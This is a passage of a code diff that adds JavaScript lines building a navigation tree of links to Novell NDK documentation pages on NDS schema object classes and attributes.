+ var navElement = navigationLink("NetSvc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk379.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product Container ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfUniqueNames5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:Nginfo2 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("residentialPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omhcl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Scope Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk666.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Directory Agent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SLP Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk682.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SMS SMDR Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk690.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Graphical View of Object Class Inheritance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzah4ydk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Alias and Bindery Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hw8hr9jx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root, domain, and Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hu1mitlx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer, Country, Device, and Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hnf7uif9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List and Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h48ynbap.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role and Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hrfg9w4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Organization, and Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzvb48kg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Person, Organizational Person, and User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hknzjmiv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map, Profile, Queues, Resource, and Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h8jovuwl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Servers (AFP, Messaging, NCP, Print) and CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/ha47y85g.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity, Group, and Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hds3w6ie.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hf9qbbni.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Aliased Object Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Allow Unlimited Credit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("associatedName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7bbra4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("attributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:A Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:B Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Contents ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Current Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Link List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("authorityRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authority Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("AuxClass Object Class Backup ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Class Flag ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Property ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Restriction Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("businessCategory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cACertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cartridge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificateRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Validity Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Convergence ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cross Certificate Pair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("deltaRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("departmentNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on5am.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Description ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("destinationIndicator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Detect Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dmdName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dn ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dnQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DS Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("employeeType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on9iy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("enhancedSearchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Equivalent To Me ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1138.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Synchronizer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1150.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1156.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Full Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Generational Qualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1168.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("generationQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1174.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1186.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1192.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("High Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Higher Privileges ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1222.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1228.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePhone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onbgn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePostalAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3ondem.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("houseIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1258.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1240.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Resource Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1246.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inherited ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1264.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Initials ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("internationaliSDNNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1276.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Internet EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1282.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Attempt Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Lockout Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("knowledgeInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1318.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1324.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Referenced Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1336.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP ACL v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1342.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Allow Clear Text Password ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Anonymous Identity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1354.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Attribute Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Backup Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1366.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1378.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable SSL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1384.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable TCP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1390.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
